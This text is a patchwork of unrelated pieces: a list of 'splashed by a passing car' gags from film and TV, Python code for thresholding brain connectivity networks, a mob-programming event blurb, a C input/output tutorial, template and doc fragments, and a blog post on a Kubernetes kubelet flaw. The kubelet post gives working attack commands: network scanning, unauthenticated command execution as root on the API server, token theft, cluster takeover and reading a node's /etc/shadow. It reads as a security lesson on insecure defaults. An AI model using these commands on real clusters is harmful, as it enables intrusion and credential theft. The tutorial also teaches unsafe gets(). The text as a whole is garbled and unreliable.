- In Jacques Tati's Mon Oncle, a truck drives through a puddle, almost completely drenching a shopkeeper. However, the bottom of his pants are still dry... which changes when the main character, Hulot, rides by on his bicycle.
- In the Drew Barrymore movie Irreconcilable Differences most of the film is set in flashback, illustrating testimony during a courtroom drama. The father of Drew's character (Casey) is retelling how he met Casey's mother, and a roadside wave is freeze-framed as he interrupts himself and the shot returns to the courtroom, with his protest about retelling this detail. The attorney asks "When did you say you met miss Van Patten Brodsky?" - SPLASH!!!
- Happens to Zoolander after he loses the Male Model of the Year award to Hansel (So Hot Right Now).
- And to Leslie Bibb's character in See Spot Run.
- In Into the Woods, Jack's mother is splashed by Cinderella's step-mother's carriage running through a puddle as she bows.
- In All I Want for Christmas Hallie goes to see a Mall Santa, and when she sees a car passing close by the sidewalk, she steps back, keeping her winter coat and fur muff pristine, while the people in front get splashed with wet snow.
- In Wait Until Dark, Sam gets wet when the taxi cab outside the apartment gives him a puddle shower.
- In On the Loose, Thelma Todd and ZaSu Pitts get splattered with mud thrown up by a passing car.
- The Raven: When Poe exits Hamilton's carriage, he immediately splashed as the carriage passes through a puddle as it drives away.
- The Idiot: A wave of snow, which splatters Kameda when a truck passes. Played for drama, as this, combined with the other petty annoyances of urban life—the noise of traffic, the jingling of bells on horses—push Kameda, who has a nervous condition, to the verge of a seizure.
- In a 'blink and you'll miss it' moment in Darkman, Westlake gets soaked by a car driving through a puddle as he is trying to cross the road after escaping the hospital.
- In Accident, several pedestrians get soaked when the Triad boss pulls over to the side of the road; driving through the water the water Brain's crew have spilled on the road as part of the plan.
- In the opening scene of Rags, Charlie's street performance gets cut short when a speeding car sends water all over the people watching and dancing, causing them all to leave.
- Happens to Arthur early in So Long, and Thanks for All the Fish. Repeatedly.
- Bert the Small Railway engine ends up on the receiving end of one of these in The Railway Series.
- In Longarm and the Man-Eaters, Longarm gets soaked by a wagon running through a puddle just after he has been cursed by a local brujo.
- In an episode of Knight Rider when an arrogant reporter at a dirt bike race dons some nice clothes to meet the winner at the finish line.
- SCTV Had a skit called "Shower in a Briefcase", where you can clean yourself after this happens. Also available, "Blow Dryer in a Briefcase", which is Exactly What It Says on the Tin.
- Scrubs: Dr. Kelso exacted his vengeance on Carla with this.
- Opening credits of Sex and the City.
- iCarly: Happens to Carly, Sam, and Freddie in iGo To Japan.
- Happens to Judy and Sandy in As Time Goes By when they're already having a rough time because of romantic woes; Lionel's unsympathetic reaction helps kick off the episode's plot.
- The Middle: Happens to Sue when she is walking home from a football game in the mascot costume in the episode where she breaks Axl's foot.
- The opening credits to The Ted Knight Show were all about this trope. The main character, Roger Dennis (Knight), ran a classy escort service, and the whole opening credits sequence is about him dressing meticulously, getting manicured, finding the right boutonniere, and otherwise thoroughly dandifying himself—only to get get mudsplashed on a streetcurb by a passing New York City cab.
- In the KYTV episode "Hot Crimes", Mike Channel repeatedly ends up on the receiving end of splashes thrown up by passing lorries. After a while he tries standing as far away from the road as possible, which doesn't help.
- The Avengers (1960s): In "Death's Door", the diplomat Steed and Mrs Peel are assigned to protect has a seemingly prophetic dream that he will die if attends the peace conference. The dream is full oddly specific details, and when Steed and Emma ride his route to the conference, each of the details comes true; except for being splashed by a car driving through a puddle as he gets out of his limousine. Then Steed realises that made the run early, and Lord Melford would have been arriving at exactly 10:30. When they drive around the block and arrive at exactly 10:30, Mrs Peel is splashed by a car driving through a puddle as she gets out of the limo.
- Mentioned in one verse of The Streets' "It Was Supposed to Be So Easy," as the singer waits in line for the ATM.
- My Little Pony: Equestria Girls Summertime Shorts: In the music video "Monday Blues", Twilight Sparkle thinks she can stay dry from the rain thanks to her umbrella, but gets splashed by a roadside wave from the school bus. And then she misses said school bus.
- Family Guy: In the episode "Wasted Talent", Lois gets splashed on by Alexis Radcliffe, her rival who constantly beats her for the award for best piano student. What's worse, the street next to Lois is puddle-free, so Alexis has to stop a few feet behind her, pull a bucket of water out of her car (which she apparently keeps just for these sorts of situations), and empty it into the gutter next to Lois, thereby producing a puddle through which she can drive.
- In the Trapped in TV Land episode of Teen Titans, some old dude is standing all peacefully-like in the middle of a river, fishing in the wilderness, minding his own business when a pimping red sports car streaks past from out of nowhere, splashing him in the face and scaring away the fish, followed in hot pursuit by the Titans.
- In Street Sharks, Slobster takes time out of delivering a squid to Dr. Paradigm to deliberately drive his motorcycle through a mud puddle when he spots the Street Sharks at an outdoor fast food restaurant, drenching them.
- My Little Pony: Friendship Is Magic:
- In the episode "Feeling Pinkie Keen," Pinkie Pie's "Pinkie Sense" tells her that Twilight Sparkle's going to need a bath. Twilight laughs at her, then is splattered with mud by Mr. Greenhooves's passing cart.
- In "Hearts and Hooves Day", during the musical number where the Cutie Mark Crusaders look for a stallion to be Cheerilee's "very special somepony", Doctor Whooves is seen doing this to Applebloom and Scootaloo.
He might do!
(If he weren't so splashy!) - In "Games Ponies Play", this happens to Ms. Harshwhinny twice.
- Sym-Bionic Titan: Happens to Lance and Ilana when they are hitchhiking in the rain in "The Steel Foe".
- Happens twice to Heloise on Jimmy Two-Shoes, when the same car that did it to her backs up and splashes her again.
- This happens to Tom and Jerry (and Spike) in one cartoon. The often-Bowdlerised results show the three in blackface.
- Generator Rex: Rex and Noah get splashed by the Drill Sergeant Nasty's jeep during the cross country run in "Basic".
- The Simpsons: This happens to Moe as part of a Humiliation Conga in "Moe'N'a Lisa". Immediately afterwards, the sprinklers turn on and then it starts to rain, but only on him.
- Classic Disney Shorts
- In the Mickey Mouse short "Mickey's Delayed Date", Mickey tries to hail a taxi, but the taxi passes him and hits a puddle. Luckily, Mickey stretches himself and hides behind a lamppost to avoid getting wet.
- In the Goofy short "Motor Mania", Goofy, playing jerkass motorist Mr. Wheeler, intentionally does this to a pedestrian. As Mr. Wheeler laughs at his misfortune, another car passes him that causes water to splash right into his car.
- SheZow: In "SheZow Happens", Guy is testing out his new superspeed and runs through a puddle, soaking Kelly.
- In the Thomas the Tank Engine episode, "Henry Spots Trouble", both Thomas and Gordon end up on the receiving end of one. Thomas gets splashed with mud from Butch when the latter pulls Farmer McColl's tractor out of it, and Gordon gets splashed with paint when Connor runs over the track covered in paint from a fallen paint can. These both lead Henry to believe that they have chicken pox.
- Fangbone!: In "The Ballad of Meh", Fangbone attempts to defend his friends from a roadside wave with a sword, having mistaken it for an aquatic demon. His friends still end getting soaked.


# -*- coding: utf-8 -*-
""" Thresholding schemes
Notes
-----
* This is a direct translation from `Data Driven Topological Filtering of Brain Networks via Orthogonal Minimal Spanning Trees <https://github.com/stdimitr/topological_filtering_networks>'
* Original author is Stravros Dimitriadis<EMAIL_ADDRESS>|
-----
"""
# Author: Avraam Marimpis<EMAIL_ADDRESS># Author: Stravros Dimitriadis<EMAIL_ADDRESS>from typing import Tuple, Optional
import numpy as np
import networkx as nx
import bct
[docs]def k_core_decomposition(mtx: np.ndarray, threshold: float) -> np.ndarray:
""" Threshold a binary graph based on the detected k-cores.
.. [Alvarez2006] Alvarez-Hamelin, J. I., Dall'Asta, L., Barrat, A., & Vespignani, A. (2006). Large scale networks fingerprinting and visualization using the k-core decomposition. In Advances in neural information processing systems (pp. 41-50).
.. [Hagman2008] Hagmann, P., Cammoun, L., Gigandet, X., Meuli, R., Honey, C. J., Wedeen, V. J., & Sporns, O. (2008). Mapping the structural core of human cerebral cortex. PLoS biology, 6(7), e159.
Parameters
----------
mtx : array-like, shape(N, N)
Binary matrix.
threshold : int
Degree threshold.
Returns
-------
k_cores : array-like, shape(N, 1)
A binary matrix of the decomposed cores.
"""
imtx = mtx
N, _ = np.shape(mtx)
# in_degree = np.sum(mtx, 0)
# out_degree = np.sum(mtx, 1)
degree = bct.degrees_und(mtx)
for i in range(N):
if degree[i] < threshold:
for l in range(N):
imtx[i, l] = 0
# Recalculate the list of the degrees
degree = bct.degrees_und(imtx)
k_cores = np.zeros((N, 1), dtype=np.int32)
for i in range(N):
if degree[i] > 0:
k_cores[i] = 1
return k_cores
[docs]def threshold_mst_mean_degree(mtx: np.ndarray, avg_degree: float) -> np.ndarray:
""" Threshold a graph based on mean using minimum spanning trees.
Parameters
----------
mtx : array-like, shape(N, N)
Symmetric, weighted and undirected connectivity matrix.
avg_degree : float
Mean degree threshold.
Returns
-------
binary_mtx : array-like, shape(N, N)
A binary mask matrix.
"""
N, _ = np.shape(mtx)
CIJtree = np.zeros((N, N))
CIJnotintree = mtx
# Find the number of orthogonal msts according to the desired mean degree.
num_edges = avg_degree * N
num_msts = np.int32(np.round(num_edges / (N - 1)) + 1)
# Keep the N-1 connections of the num_msts MSTs.
mst_conn = np.zeros((num_msts * (N - 1), 2), dtype=np.int32)
nCIJtree = np.zeros((num_msts, N, N), dtype=np.int32)
# Repeat rows-2 times
count = 0
for no in range(num_msts):
graph = nx.from_numpy_matrix(1.0 / CIJnotintree)
mst = nx.minimum_spanning_tree(graph)
links = list(mst.edges())
for k in range(N - 1):
link1 = links[k][0]
link2 = links[k][1]
CIJtree[link1, link2] = mtx[link1, link2]
CIJtree[link2, link1] = mtx[link1, link2]
mst_conn[count, 0] = link1
mst_conn[count, 1] = link2
count += 1
# Now add connections back, with the total number of added connections
# determined by the desired 'threshold'
iCIJtree = np.ones((N, N))
iCIJtree[np.where(CIJtree != 0.0)] = 0
CIJnotintree = CIJnotintree * iCIJtree
nCIJtree[no, :, :] = CIJtree
degree = np.zeros((1, num_msts * (N - 1)))
matrix = np.zeros((N, N))
for no in range(num_msts * (N - 1)):
idx1 = mst_conn[no, 0]
idx2 = mst_conn[no, 1]
matrix[idx1, idx2] = 1
matrix[idx2, idx1] = 1
# matrix = double(matrix~=0)
deg = np.sum(matrix, 0)
degree[0, no] = np.mean(deg)
abs_diff = np.abs(degree - avg_degree)
cutoff = np.argmin(abs_diff)
CIJtree = np.zeros((N, N))
for no in range(cutoff):
idx1 = mst_conn[no, 0]
idx2 = mst_conn[no, 1]
CIJtree[idx1, idx2] = mtx[idx1, idx2]
CIJtree[idx2, idx1] = CIJtree[idx1, idx2]
# ravgdeg = avg_degree - abs_diff
return CIJtree
[docs]def threshold_mean_degree(mtx: np.ndarray, threshold_mean_degree: int) -> np.ndarray:
""" Threshold a graph based on the mean degree.
Parameters
----------
mtx : array-like, shape(N, N)
Symmetric, weighted and undirected connectivity matrix.
threshold_mean_degree : int
Mean degree threshold.
Returns
-------
binary_mtx : array-like, shape(N, N)
A binary mask matrix.
"""
binary_mtx = np.zeros_like(mtx, dtype=np.int32)
N, _ = np.shape(mtx)
iterations = 100
step = 1.0 / iterations
thres = 0.0
thresdeg = np.zeros((iterations, 2))
for i in range(iterations):
thres += step
tmp_binary = np.zeros_like(binary_mtx)
for k in range(N):
for l in range(k + 1, N):
if mtx[k, l] > thres:
tmp_binary[k, l] = 1
tmp_binary[l, k] = 1
degree = bct.degrees_und(tmp_binary)
thresdeg[i, 0] = np.mean(degree)
thresdeg[i, 1] = thres
# find the nearest mean degree to kk
diff = np.zeros((iterations, 1))
for i in range(iterations):
diff[i] = np.abs(thresdeg[i, 0] - threshold_mean_degree)
# find the mean degree with the min difference from kk
r = np.argmin(diff)
# find the threhold corresponds to the mean degree
# mdegree = thresdeg[r, 0]
thres = thresdeg[r, 1]
for k in range(N):
for l in range(k + 1, N):
if mtx[k, l] > thres:
binary_mtx[k, l] = 1
binary_mtx[l, k] = 1
return binary_mtx
[docs]def threshold_shortest_paths(
mtx: np.ndarray, treatment: Optional[bool] = False
) -> np.ndarray:
""" Threshold a graph via via shortest path identification using Dijkstra's algorithm.
.. [Dimitriadis2010] Dimitriadis, S. I., Laskaris, N. A., Tsirka, V., Vourkas, M., Micheloyannis, S., & Fotopoulos, S. (2010). Tracking brain dynamics via time-dependent network analysis. Journal of neuroscience methods, 193(1), 145-155.
Parameters
----------
mtx : array-like, shape(N, N)
Symmetric, weighted and undirected connectivity matrix.
treatment : boolean
Convert the weights to distances by inversing the matrix. Also,
fill the diagonal with zeroes. Default `false`.
Returns
-------
binary_mtx : array-like, shape(N, N)
A binary mask matrix.
"""
imtx = mtx
if treatment:
imtx = 1.0 / mtx
np.fill_diagonal(imtx, 0.0)
binary_mtx = np.zeros_like(imtx, dtype=np.int32)
graph = nx.from_numpy_matrix(imtx)
paths = dict(nx.all_pairs_dijkstra_path(graph))
N, _ = np.shape(mtx)
for x in range(N):
for y in range(N):
r_path = paths[x][y]
num_nodes = len(r_path)
ind1 = -1
ind2 = -1
for m in range(0, num_nodes - 1):
ind1 = ind1 + 1
ind2 = ind1 + 1
binary_mtx[r_path[ind1], r_path[ind2]] = 1
binary_mtx[r_path[ind2], r_path[ind1]] = 1
return binary_mtx
[docs]def threshold_global_cost_efficiency(
mtx: np.ndarray, iterations: int
) -> Tuple[np.ndarray, float, float, float]:
""" Threshold a graph based on the Global Efficiency - Cost formula.
.. [Basset2009] Bassett, D. S., Bullmore, E. T., Meyer-Lindenberg, A., Apud, J. A., Weinberger, D. R., & Coppola, R. (2009). Cognitive fitness of cost-efficient brain functional networks. Proceedings of the National Academy of Sciences, 106(28), 11747-11752.
Parameters
----------
mtx : array-like, shape(N, N)
Symmetric, weighted and undirected connectivity matrix.
iterations : int
Number of steps, as a resolution when search for optima.
Returns
-------
binary_mtx : array-like, shape(N, N)
A binary mask matrix.
threshold : float
The threshold that maximizes the global cost efficiency.
global_cost_eff_max : float
Global cost efficiency.
efficiency : float
Global efficiency.
cost_max : float
Cost of the network at the maximum global cost efficiency
"""
binary_mtx = np.zeros_like(mtx, dtype=np.int32)
step = 1.0 / iterations
thresholds = np.arange(0, 1 + step, step)
N, _ = np.shape(mtx)
num_connections = (N * (N - 1)) / 2.0
global_cost_eff = np.zeros((iterations, 1))
cost = np.zeros((iterations, 1))
for i in range(iterations):
tmp_binary = np.zeros_like(binary_mtx)
for k in range(N):
for l in range(k + 1, N):
if mtx[k, l] > thresholds[i]:
tmp_binary[k, l] = 1
tmp_binary[l, k] = 1
global_eff = bct.efficiency_bin(tmp_binary)
degree = bct.degrees_und(tmp_binary)
total_degree = np.sum(degree)
cost[i] = (0.5 * total_degree) / num_connections
global_cost_eff[i] = global_eff - cost[i]
indx_max = np.argmax(global_cost_eff)
threshold = thresholds[indx_max]
for k in range(N):
for l in range(k + 1, N):
if mtx[k, l] >= threshold:
binary_mtx[k, l] = 1
binary_mtx[l, k] = 1
cost_max = cost[indx_max]
global_cost_eff_max = global_cost_eff[indx_max]
efficiency = bct.efficiency_bin(binary_mtx)
# import matplotlib.pyplot as plt
# plt.figure()
# plt.plot(cost, global_cost_eff)
# plt.plot(cost_max, global_cost_eff_max, 'b*', label='Max Global Cost Efficiency')
# plt.title('Economical small-world network at max Global Cost Efficiency')
# plt.xlabel('Cost')
# plt.ylabel('Global Cost Efficiency')
# plt.legend()
# plt.show()
return binary_mtx, threshold, global_cost_eff_max, efficiency, cost_max
[docs]def threshold_omst_global_cost_efficiency(
mtx: np.ndarray, n_msts: Optional[int] = None
) -> Tuple[np.ndarray, np.ndarray, float, float, float, float]:
""" Threshold a graph by optimizing the formula GE-C via orthogonal MSTs.
.. [Dimitriadis2017a] Dimitriadis, S. I., Salis, C., Tarnanas, I., & Linden, D. E. (2017). Topological Filtering of Dynamic Functional Brain Networks Unfolds Informative Chronnectomics: A Novel Data-Driven Thresholding Scheme Based on Orthogonal Minimal Spanning Trees (OMSTs). Frontiers in neuroinformatics, 11.
.. [Dimitriadis2017n] Dimitriadis, S. I., Antonakakis, M., Simos, P., Fletcher, J. M., & Papanicolaou, A. C. (2017). Data-driven Topological Filtering based on Orthogonal Minimal Spanning Trees: Application to Multi-Group MEG Resting-State Connectivity. Brain Connectivity, (ja).
.. [Basset2009] Bassett, D. S., Bullmore, E. T., Meyer-Lindenberg, A., Apud, J. A., Weinberger, D. R., & Coppola, R. (2009). Cognitive fitness of cost-efficient brain functional networks. Proceedings of the National Academy of Sciences, 106(28), 11747-11752.
Parameters
----------
mtx : array-like, shape(N, N)
Symmetric, weighted and undirected connectivity matrix.
n_msts : int or None
Maximum number of OMSTs to compute. Default `None`; an exhaustive
computation will be performed.
Returns
-------
nCIJtree : array-like, shape(n_msts, N, N)
A matrix containing all the orthogonal MSTs.
CIJtree : array-like, shape(N, N)
Resulting graph.
degree : float
The mean degree of the resulting graph.
global_eff : float
Global efficiency of the resulting graph.
global_cost_eff_max : float
The value where global efficiency - cost is maximized.
cost_max : float
Cost of the network at the maximum global cost efficiency.
"""
imtx = np.copy(mtx)
imtx_uptril = np.copy(mtx)
N, _ = np.shape(imtx)
for k in range(N):
for l in range(k + 1, N):
imtx_uptril[l, k] = 0.0
np.fill_diagonal(imtx_uptril, 0.0)
# Find the number of orthogonal msts according to the desired mean degree
num_edges = len(np.where(imtx > 0.0)[0])
if n_msts is None:
num_msts = np.round(num_edges / (N - 1)) + 1
else:
num_msts = n_msts
pos_num_msts = np.round(num_edges / (N - 1))
if num_msts > pos_num_msts:
num_msts = pos_num_msts
CIJnotintree = imtx
# Keep the N-1 connections of the num_msts MSTs
num_msts = np.int32(num_msts)
mst_conn = np.zeros((num_msts * (N - 1), 2))
nCIJtree = np.zeros((num_msts, N, N)) # , dtype=np.int32)
omst = np.zeros((num_msts, N, N), dtype=np.float32)
# Repeat N-2 times
count = 0
CIJtree = np.zeros((N, N))
for no in range(num_msts):
tmp_mtx = 1.0 / CIJnotintree
# ugly code ~_~
graph = nx.from_numpy_matrix(tmp_mtx)
# graph = nx.Graph()
# for x in range(N):
# for y in range(x+1, N):
# graph.add_edge(x, y, weight=tmp_mtx[x][y])
mst = nx.minimum_spanning_tree(graph)
links = list(mst.edges())
new_mst = np.zeros((N, N))
mst_num_links = len(links)
for k in range(mst_num_links):
link1 = links[k][0]
link2 = links[k][1]
CIJtree[link1, link2] = imtx[link1, link2]
CIJtree[link2, link1] = imtx[link1, link2]
mst_conn[count, 0] = link1
mst_conn[count, 1] = link2
new_mst[link1, link2] = imtx[link1, link2]
new_mst[link2, link1] = imtx[link1, link2]
count += 1
iCIJtree = np.ones((N, N))
iCIJtree[np.where(CIJtree != 0.0)] = 0
CIJnotintree = CIJnotintree * iCIJtree
nCIJtree[no, :, :] = CIJtree
omst[no, :, :] = new_mst
global_eff_ini = bct.efficiency_wei(imtx_uptril) * 2.0
cost_ini = np.sum(imtx_uptril[:])
# Insert the 1st MST
graph = np.zeros((N, N))
global_cost_eff = np.zeros((num_msts, 1))
degrees = np.zeros((num_msts, 1))
cost = np.zeros((num_msts, 1))
for k in range(num_msts):
graph = nCIJtree[k, :, :]
degree = bct.degrees_und(graph)
mean_degree = np.mean(degree)
degrees[k] = mean_degree
cost[k] = np.sum(graph) / cost_ini
global_eff = bct.efficiency_wei(graph)
global_cost_eff[k] = global_eff / global_eff_ini - cost[k]
# Get the OMST where the formula GE-C is maximized
indx_max = np.argmax(global_cost_eff)
# Final output
degree = degrees[indx_max]
CIJtree = nCIJtree[indx_max, :, :]
cost_max = cost[indx_max]
global_eff = bct.efficiency_wei(1.0 / CIJtree)
global_cost_eff_max = global_cost_eff[indx_max]
# import matplotlib.pyplot as plt
# plt.figure()
# plt.plot(cost, global_cost_eff)
# plt.plot(cost_max, global_cost_eff_max, 'b*', label='Max Global Cost Efficiency')
# plt.title('Economical small-world network at max Global Cost Efficiency')
# plt.xlabel('Cost')
# plt.ylabel('Global Cost Efficiency')
# plt.legend()
# plt.show()
# return nCIJtree, CIJtree, degree, global_eff, global_cost_eff_max, cost_max
return (
nCIJtree,
CIJtree,
degree,
global_eff,
global_cost_eff_max,
cost_max,
cost,
global_cost_eff,
)
[docs]def threshold_eco(mtx):
"""
"""
m, _ = np.shape(mtx)
bin_mtx = np.zeros_like(mtx)
eco_mtx = np.zeros_like(mtx)
A = np.triu(mtx)
eco_conns = np.int32(np.ceil(1.5 * m))
ind = np.where(A)
ind_vals = np.zeros((len(ind[0]), 3))
ind_vals[:, 0] = ind[0]
ind_vals[:, 1] = ind[1]
ind_vals[:, 2] = A[ind[0], ind[1]]
sort_ind_vals = ind_vals[ind_vals[:, 2].argsort()[::-1]]
for i in range(eco_conns):
row = sort_ind_vals[i]
x = np.int32(row[0])
y = np.int32(row[1])
v = row[2]
bin_mtx[x, y] = 1
bin_mtx[y, x] = 1
eco_mtx[x, y] = v
eco_mtx[y, x] = v
return bin_mtx, eco_mtx, eco_conns


Day of MobRetreat is a full day of practicing TDD and refactoring as a mob of 4-5 people, and exploring different mobbing styles in each round, sharing experiences and evaluating the differences.
Like a coderetreat, at the beginning of the first round each group decides which programming language is used for writing code. Each round has its specific constraints.
Unlike a coderetreat, the code is kept and incrementally developed by the mob during the whole day. Changing constraints relate to communication, not to the code. The mob keeps most of their original members, but after each round one person per mob joins another mob.
What are you waiting for? Grab a friend and do a mobretreat on July, 18th!
Join folks helping developers in their communities to learn about mob programming and to explore different mobbing styles.


When we say Input, it means to feed some data into a program. An input can be given in the form of a file or from the command line. C programming provides a set of built-in functions to read the given input and feed it to the program as per requirement.
When we say Output, it means to display some data on screen, printer, or in any file. C programming provides a set of built-in functions to output the data on the computer screen as well as to save it in text or binary files.
C programming treats all the devices as files. So devices such as the display are addressed in the same way as files and the following three files are automatically opened when a program executes to provide access to the keyboard and screen.
| Standard File | File Pointer | Device |
|---|---|---|
| Standard input | stdin | Keyboard |
| Standard output | stdout | Screen |
| Standard error | stderr | Your screen |
The file pointers are the means to access the file for reading and writing purpose. This section explains how to read values from the screen and how to print the result on the screen.
The int getchar(void) function reads the next available character from the screen and returns it as an integer. This function reads only single character at a time. You can use this method in the loop in case you want to read more than one character from the screen.
The int putchar(int c) function puts the passed character on the screen and returns the same character. This function puts only single character at a time. You can use this method in the loop in case you want to display more than one character on the screen. Check the following example −
#include <stdio.h> int main( ) { int c; printf( "Enter a value :"); c = getchar( ); printf( "\nYou entered: "); putchar( c ); return 0; }
When the above code is compiled and executed, it waits for you to input some text. When you enter a text and press enter, then the program proceeds and reads only a single character and displays it as follows −
$./a.out Enter a value : this is test You entered: t
The char *gets(char *s) function reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF (End of File).
The int puts(const char *s) function writes the string 's' and 'a' trailing newline to stdout.
#include <stdio.h> int main( ) { char str[100]; printf( "Enter a value :"); gets( str ); printf( "\nYou entered: "); puts( str ); return 0; }
When the above code is compiled and executed, it waits for you to input some text. When you enter a text and press enter, then the program proceeds and reads the complete line till end, and displays it as follows −
$./a.out Enter a value : this is test You entered: this is test
The int scanf(const char *format, ...) function reads the input from the standard input stream stdin and scans that input according to the format provided.
The int printf(const char *format, ...) function writes the output to the standard output stream stdout and produces the output according to the format provided.
The format can be a simple constant string, but you can specify %s, %d, %c, %f, etc., to print or read strings, integer, character or float respectively. There are many other formatting options available which can be used based on requirements. Let us now proceed with a simple example to understand the concepts better −
#include <stdio.h> int main( ) { char str[100]; int i; printf( "Enter a value :"); scanf("%s %d", str, &i); printf( "\nYou entered: %s %d ", str, i); return 0; }
When the above code is compiled and executed, it waits for you to input some text. When you enter a text and press enter, then program proceeds and reads the input and displays it as follows −
$./a.out Enter a value : seven 7 You entered: seven 7
Here, it should be noted that scanf() expects input in the same format as you provided %s and %d, which means you have to provide valid inputs like "string integer". If you provide "string string" or "integer integer", then it will be assumed as wrong input. Secondly, while reading a string, scanf() stops reading as soon as it encounters a space, so "this is test" are three strings for scanf().


abstract operator fun contains(instant: Instant): Boolean
Returns true if and only if the given instant is within the time interval of this TimeWindow.


{% extends "auth_template.html" %} {% load i18n %} {% block auth_content %}
{% blocktrans %}You can sign in to your account using any of the following third party accounts{% endblocktrans %}
{% else %}{% trans 'You currently have no third-party accounts connected to this account.' %}
Social accounts are used as an alternative to a password. We do not capture data from, or post data to connected accounts.
{% endif %}


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I’ve been reading up on Kubernetes a bit recently and Jesse Hertz pointed me at an interesting item around Kubernetes security that illustrates common problem of insecure defaults, so I thought it might be worth a post walking through the issue, mainly as a way for me to improve my Kubernetes knowledge but also could be useful for others who are deploying it.
td;dr if you can get access to the kubelet API port you can control the whole cluster and default configurations of Kubernetes are likely to make this possible, so be careful when setting up your clusters.
So the issue I wanted to look at is this kubelet exploit. Basically the kubelet is the service which runs on Kubernetes nodes and manages things like the docker installation on that node amongst other things. It receives commands from the API server which co-ordinates the actions of the nodes in the cluster.
The security problem lies in the fact that by default the kubelet service listens on a TCP/IP port with no authentication or authorization control, so anyone who can reach that port at a network level can execute kubelet commands just by issuing HTTP requests to the service.
This means that an attacker who can get access to that port can basically take over the whole cluster pretty easily.
The kubernetes team are well aware of this issue but a fix isn’t planned until Kubernetes 1.5
There’s also a workaround mentioned on the kubelet-exploit page which involves binding the kubelet to <IP_ADDRESS> and then connecting it to the kube-apiserver via SSH tunnels.
To explore this problem I followed the kubeadm guide from the kubernetes site. Kubeadm is a tool which allows for clusters to be easily set up and appears to somewhat be modeled after some of the docker swarm commands.
I followed the tutorial through to the point where I had a working cluster, taking all the defaults.
Then I deployed a container with some tools into the cluster, the scenario we’re testing is that an attacker has gained access to a container in the cluster, and we’ll see what they can do to take control of the cluster with only that access
kubectl run -i -t badcontainer --image=kalilinux/kali-linux-docker
which after a while for the image to download gives us a bash shell running in a container on the cluster.
So now we can scan round to see whether the port we’re looking for is available.
First add some tools to our build
apt update
apt install nmap curl
Then scan the network. In this case my main network where the nodes are installed is <IP_ADDRESS>/24
nmap -sT -v -n -p10250 <IP_ADDRESS>/24
from that we get back a bunch of filtered ports but also three open ones which are the IP addresses of my kubernetes nodes.
Nmap scan report for <IP_ADDRESS>
Host is up (0.00013s latency).
PORT STATE SERVICE
10250/tcp open unknown
Nmap scan report for <IP_ADDRESS>
Host is up (0.000065s latency).
PORT STATE SERVICE
10250/tcp open unknown
Nmap scan report for <IP_ADDRESS>
Host is up (0.00020s latency).
PORT STATE SERVICE
10250/tcp open unknown
Now we can use some of the kubectl commands mentioned in the exploit to start getting more access to the cluster. First up lets enumerate our containers
curl -sk https://<IP_ADDRESS>:10250/runningpods/ | python -mjson.tool
This returns a list of the pods running on the node in JSON form, and also the images they’re based on. The most interesting one here is
{
"metadata": {
"creationTimestamp": null,
"name": "kube-apiserver-kube",
"namespace": "kube-system",
"uid": "0446d05fb9406214210e8d29397f8bf2"
},
"spec": {
"containers": [
{
"image": "gcr.io/google_containers/kube-apiserver-amd64:v1.4.0",
"name": "kube-apiserver",
"resources": {}
},
{
"image": "gcr.io/google_containers/pause-amd64:3.0",
"name": "POD",
"resources": {}
}
]
},
it’s running the kube-apiserver image, so that’ll be our API server. As I mentioned earlier the API server is basically the heart of the cluster, so access to it provides a lot of control over the cluster itself.
curl -k -XPOST "https://<IP_ADDRESS>:10250/run/kube-system/kube-apiserver-kube/kube-apiserver" -d "cmd=ls -la /"
lists the files in the root directory of that container and if we run
curl -k -XPOST "https://<IP_ADDRESS>:10250/run/kube-system/kube-apiserver-kube/kube-apiserver" -d "cmd=whoami"
We get back the answer that every pentester likes to see which is root
!
So at this point, that’s pretty bad news for the cluster owner. A rogue container should not be able to execute privileged commands on the API server of the cluster.
So the next step in the attack would be to take over the cluster, for which the easiest way is likely to be getting control of the API server, as that lets us create new containers amongst other things.
if we do
curl -k -XPOST "https://<IP_ADDRESS>:10250/run/kube-system/kube-apiserver-kube/kube-apiserver" -d "cmd=ps -ef"
we can see the process list for the API server which handily provides the path of the token file that Kubernetes uses to authenticate access to the API
PID USER TIME COMMAND
1 root 2:29 /usr/local/bin/kube-apiserver --v=4 --insecure-bind-address=<IP_ADDRESS> --etcd-servers=http://<IP_ADDRESS>:2379 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=<IP_ADDRESS>/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=443 --allow-privileged --etcd-servers=http://<IP_ADDRESS>:2379
here we can see that it’s /etc/kubernetes/pki/tokens.csv
so then we can just cat out that file
curl -k -XPOST "https://<IP_ADDRESS>:10250/run/kube-system/kube-apiserver-kube/kube-apiserver" -d "cmd=cat /etc/kubernetes/pki/tokens.csv"
and we get the token which is the first field listed
d65ba5f070e714ab,kubeadm-node-csr,9738242e-8681-11e6-b5b4-000c29d33879,system:kubelet-bootstrap
Now we can communicate directly with the Kubernetes API like so
curl -k -X GET -H "Authorization: Bearer d65ba5f070e714ab" https://<IP_ADDRESS>
this gives us easier control of the cluster than we had from just running individual commands on it.
We could persist with the HTTP API but TBH I find it easier to use kubectl, so we can just download that and point it at our cluster with our newly acquired token.
wget https://storage.googleapis.com/kubernetes-release/release/v1.4.0/bin/linux/amd64/kubectl
chmod +x kubectl
./kubectl config set-cluster test --server=https://<IP_ADDRESS>
./kubectl config set-credentials cluster-admin --token=d65ba5f070e714ab
From here, the next step it to look at getting access to the underlying nodes. This can be achieved by mapping in a volume from the node to a container that we run.
so if we create a file called test-pod.yml
apiVersion: v1
kind: Pod
metadata:
name: test-pd
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /test-pd
name: test-volume
volumes:
- name: test-volume
hostPath:
# directory location on host
path: /etc
and start it up with ./kubectl create -f test-pod.yml
we can then run a command to cat out the /etc/shadow file of the underlying node
./kubectl exec test-pd -c test-container cat /test-pd/shadow
From there it’s just a bit of password cracking needed and we get shell access to the underlying node.
So from that we can see that there’s definitely something to think about if you’re going to run a Kubernetes cluster in production, i.e. protect access to the kubectl API port…


The PageRank algorithm implemented for edge-cut partitioned graphs. You can build the application library by issuing make
in the current directory. The application can be run by launching a controller and worker and passing the page rank library to the worker, as follows
$ cd <nimbus-root>
$ ./scripts/start-controller.sh
